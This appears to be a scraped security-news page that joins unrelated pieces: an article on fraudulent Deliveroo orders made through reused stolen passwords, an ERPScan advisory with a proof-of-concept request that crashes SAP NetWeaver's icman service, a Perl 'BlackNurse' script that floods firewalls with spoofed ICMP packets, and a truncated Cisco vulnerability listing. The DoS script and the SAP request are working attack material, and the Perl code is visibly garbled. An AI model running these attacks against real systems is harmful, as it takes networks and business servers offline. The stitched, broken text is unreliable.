BBC Watchdog (a consumer protection television program) is today airing a report on 'food fraud' against the UK-based Deliveroo service. Food is ordered via the Deliveroo iOS or Android apps, and delivered to the customer. It appears, however, that scores of customers have recently been charged for food they didn't order; food that was actually delivered to complete strangers.
Deliveroo is adamant that it has not suffered a breach, and that no card details or other personal information has been stolen. "We are aware of these cases raised by Watchdog - they involve stolen food, not credit card numbers," it said in a statement. "These issues occur when criminals use a password stolen from another service unrelated to our company in a major data breach." Deliveroo is reimbursing the customers.
If Deliveroo is correct in this statement, it raises several other issues. Firstly, yes and obviously, users need to start practicing better password hygiene. Secondly, Deliveroo needs to improve its security in terms of fraud detection and customer authentication. Thirdly, it is not immediately apparent how the fraudster benefits from this fraud.
The reaction from most security vendors is simple. Single factor password authentication is no longer adequate. Users should have unique strong passwords for every service they use, while vendors should implement and insist on multi-factor authentication. It seems clear that multi-factor authentication (MFA) hasn't been implemented because Deliveroo has sought a frictionless experience for its users. Furthering this frictionless approach, Deliveroo maintains the customers' card details to allow easily repeatable orders -- but does not require the 3-digit security number when taking new orders.
This fits in with the idea that the fraudster/s used credentials obtained from other hacks and released on the internet -- that is all they would need. Kaspersky Lab's David Emm comments, "Businesses must ensure they implement two-factor authentication, so that credentials stolen from another site would not be sufficient for an attacker to get access to their customers' accounts."
F-Secure's Sean Sullivan agrees. "An app such as this probably really requires that the app vendor requests the account holder's phone number -- and then sends an SMS with a code in order to activate the app. If all it relies on is a password… then any old fraudster will be able to exploit the system for free food. If a second factor of some sort is used during setup, it limits the risk. But that's the thing… start-ups want to be 'frictionless' to setup. So, Deliveroo will just have to eat the costs, if it can."
But you can have frictionless MFA with modern smartphones using, for example, facial recognition.
It is difficult at this point to know whether Deliveroo has adequate fraud prevention systems simply because there is insufficient information yet. But it seems unlikely.
The BBC reports, "User Judith MacFadyen, from Reading, told Watchdog: 'I noticed that I had a 'thank you' email from Deliveroo for a burger joint in Chiswick. I thought that was really odd so I went on to my account and had a look and there had been four orders that afternoon to a couple of addresses in London.'" Four separate orders on one account to two addresses in one afternoon should really trip warning flags.
The third puzzle is how does the fraudster benefit from food delivered to different parts of the country? Three locations are mentioned by the BBC; London, Reading and Manchester. Manchester and London are 200 miles apart. It could still be simple food fraud. Sullivan explains, "All the fraudster needs to do is to have the food delivered to a public address such as a coworking space. Or even just the front of some building -- the app lets you track the delivery -- so the fraudster would know when to step forward to claim the order. The delivery person isn't going to be able to vet the person picking up the food is actually the legitimate account holder. They'll just hand over the food to the person who knows the order ID."
But multiple orders in one afternoon and such diverse delivery locations suggest it could equally be something different. ESET Senior Research Fellow David Harley commented, "I wouldn’t be surprised if it did turn out to be due to the action of a person or persons targeting the company by getting food delivered to what may be randomly-selected addresses. A disgruntled employee? A competitor using information provided by a mole? A hacker for hire, or just doing it because it amuses them and they can? I don’t know, but I'll be watching future developments with interest."
Versions Affected: SAP NetWeaver AS JAVA 7.4
Vendor URL: http://SAP.com
Bug: Denial of Service
Sent: 22.04.2016
Reported: 23.04.2016
Vendor response: 23.04.2016
Date of Public Advisory: 09.08.2016
Reference: SAP Security Note 2313835
Author: Vahagn Vardanyan (ERPScan)
Description
1. ADVISORY INFORMATION
Title: [ERPSCAN-16-033] SAP NetWeaver AS JAVA icman a DoS vulnerability
Advisory ID:[ERPSCAN-16-033]
Risk: high
Advisory URL: https://erpscan.com/advisories/erpscan-16-033-sap-netweaver-java-icman-dos-vulnerability/
Date published: 11.11.2016
Vendors contacted: SAP
2. VULNERABILITY INFORMATION
Class: Denial of Service
Impact: Denial of Service
Remotely Exploitable: yes
Locally Exploitable: yes
CVSS Information
CVSS Base Score v3: 7.5 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) Low (L)
PR : Privileges Required (Level of privileges needed to exploit) None (N)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)
C : Impact to Confidentiality None (N)
I : Impact to Integrity None (N)
A : Impact to Availability High (H)
3. VULNERABILITY DESCRIPTION
Unauthenticated attacker can make DoS attack with use P4 over HTTPS
4. VULNERABLE PACKAGES
SAP KERNEL 7.21 32-BIT
SAP KERNEL 7.21 32-BIT UNICODE
SAP KERNEL 7.21 64-BIT
SAP KERNEL 7.21 64-BIT UNICODE
SAP KERNEL 7.21 EXT 32-BIT
SAP KERNEL 7.21 EXT 32-BIT UC
SAP KERNEL 7.21 EXT 64-BIT
SAP KERNEL 7.21 EXT 64-BIT UC
SAP KERNEL 7.22 64-BIT
SAP KERNEL 7.22 64-BIT UNICODE
SAP KERNEL 7.22 EXT 64-BIT
SAP KERNEL 7.22 EXT 64-BIT UC
SAP KERNEL 7.42 64-BIT
SAP KERNEL 7.42 64-BIT UNICODE
SAP KERNEL 7.45 64-BIT
SAP KERNEL 7.45 64-BIT UNICODE
5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2313835
6. AUTHOR
Vahagn Vardanyan (ERPScan)
7. TECHNICAL DESCRIPTION
Vulnerability triggers when one sends HTTPS GET request to SAP NetWeaver P4.
PoC
```
GET https://SAP_IP:50005/sap.com~P4TunnelingApp!web/myServlet HTTP/1.1
Host: 172.16.10.65:50005
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0)
Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```
```
0:007> r
rax=0000a323260f1252 rbx=0000000025c500d0 rcx=0000000025c500d0
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000000
rip=000000013f3af019 rsp=0000000003500d40 rbp=0000000003500e40
r8=0000000025c50400 r9=0000006c004c0002 r10=0000000003500c20
r11=00000000021b2df0 r12=0000000000000002 r13=000000013f2c0000
r14=0000000000000000 r15=0000000000000001
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
icman!P4PlugInReadHandler+0xb9:
00000001`3f3af019 8b4f04 mov ecx,dword ptr [rdi+4]
ds:00000000`00000004=????????
00000000`03500d40 00000001`3f363fb5 icman!P4PlugInReadHandler+0xb9
[d:\depot\bas2_rel\src\krn\si\ic\p4_plg.c @ 1192]
00000000`03500ec0 00000001`3f3638ea icman!IcmMplxAsyncReadDone+0x75
[d:\depot\bas2_rel\src\krn\si\ic\icxxmplx.c @ 5088]
00000000`03500f10 00000001`3f362626 icman!IcmMplxExecCall+0x36a
[d:\depot\bas2_rel\src\krn\si\ic\icxxmplx.c @ 4808]
00000000`0350fd20 00000000`74901d9f icman!IcmMplxThread+0x5f6
[d:\depot\bas2_rel\src\krn\si\ic\icxxmplx.c @ 3840]
00000000`0350fdb0 00000000`74901e3b MSVCR100!endthreadex+0x43
00000000`0350fde0 00000000`7716652d MSVCR100!endthreadex+0xdf
00000000`0350fe10 00000000`7729c541 kernel32!BaseThreadInitThunk+0xd
00000000`0350fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21
```
8. REPORT TIMELINE
Sent: 22.04.2016
Reported: 23.04.2016
Vendor response: 23.04.2016
Date of Public Advisory: 09.08.2016
9. REFERENCES
[ERPSCAN-16-033] SAP NetWeaver AS JAVA icman – DoS vulnerability
10. ABOUT ERPScan Research
ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.
ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.
ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.
ERPScan experts were interviewed in specialized infosec resources and
featured in major media worldwide. Among them, there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.
Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.
11. ABOUT ERPScan
ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
aEmerging Vendora in Security by CRN, listed among aTOP 100 SAP
Solution providersa and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.
ERPScanas primary mission is to close the gap between technical and
business security and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.
We afollow the suna and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
Phone: 650.798.5255
Twitter: @erpscan
Scoop-it: Business Application Security
#!/usr/bin/perl
#
# Cisco ASA 5515/5525/5550/5515-X | Fotinet |
# Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N |
# Zyxel Zywall USG50 Spoofed "BlackNurse" DoS PoC
#
# Copyright 2016 (c) Todor Donev
# Varna, Bulgaria
# [email protected]
# https://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
# http://pastebin.com/u/hackerscommunity
#
#
# Description:
# Blacknurse is a low bandwidth ICMP attack that is capable of doing denial
# of service to well known firewalls. Most ICMP attacks that we see are based
# on ICMP Type 8 Code 0 also called a ping flood attack. BlackNurse is based
# on ICMP with Type 3 Code 3 packets. We know that when a user has allowed ICMP
# Type 3 Code 3 to outside interfaces, the BlackNurse attack becomes highly
# effective even at low bandwidth. Low bandwidth is in this case around 15-18
# Mbit/s. This is to achieve the volume of packets needed which is around 40 to
# 50K packets per second. It does not matter if you have a 1 Gbit/s Internet
# connection. The impact we see on different firewalls is typically high CPU
# loads. When an attack is ongoing, users from the LAN side will no longer be
# able to send/receive traffic to/from the Internet. All firewalls we have seen
# recover when the attack stops.
#
# Disclaimer:
# This or previous program is for Educational purpose ONLY. Do not
# use it without permission. The usual disclaimer applies, especially
# the fact that Todor Donev is not liable for any damages caused by
# direct or indirect use of the information or functionality provided
# by these programs. The author or any Internet provider bears NO
# responsibility for content or misuse of these programs or any
# derivatives thereof. By using these programs you accept the fact
# that any damage (dataloss, system crash, system compromise, etc.)
# caused by the use of these programs is not Todor Donev's
# responsibility.
#
# Use at your own risk and educational
# purpose ONLY!
#
# Thanks to Maya (Maiya|Mia) Hristova and all my friends
# that support me.
#
#use Net::RawIP;
print "[ Cisco ASA 5515/5525/5550/5515-X | Fotinet | Fortigate | SonicWall | PaloAlto | Zyxel NWA3560-N | Zyxel Zywall USG50 Spoofed \"BlackNurse\" DoS PoC\n";
print "[ ======\n";
print "[ Usg: $ 0 <spoofed address> <target>\n";
print "[ Example: perl $ 0 133.71.33.7 192.168.1.1\n";
print "[ ======\n";
print "[ <todor.donev\@gmail.com> Todor Donev\n";
print "[ Facebook: https://www.facebook.com/ethicalhackerorg\n";
print "[ Website: https://www.ethical-hacker.org/\n";
my $ spoof = $ ARGV[0];
my $ target = $ ARGV[1];
my $ sock = new Net::RawIP( icmp => { }) or die;
print "[ Sending crafted packets..\n";
while ()
$ sock->set({ ip => { saddr => $ spoof, daddr => $ target,
icmp => type => 3, code => 3 });
$ sock->send;
$ sock->set( icmp => { type=>3, code => 0});
$ sock->send;
$ sock->set( icmp => { type=>3, code => 1});
$ sock->send;
$ sock->set( icmp => { type=>3, code => 2});
$ sock->send;
}
Bugtraq ID: | 93212 |
Class: | Failure to Handle Exceptional Conditions |
CVE: | CVE-2016-6421 CVE-2016-6421 CVE-2016-6421 CVE-2016-6421 CVE-2016-6421 |
Remote: | Yes |
Local: | No |
Published: | Sep 28 2016 12:00AM |
Updated: | Sep 29 2016 12:01AM |
Credit: | Cisco |
Vulnerable: | Cisco IOS XR Software 0 |
Not Vulnerable: |
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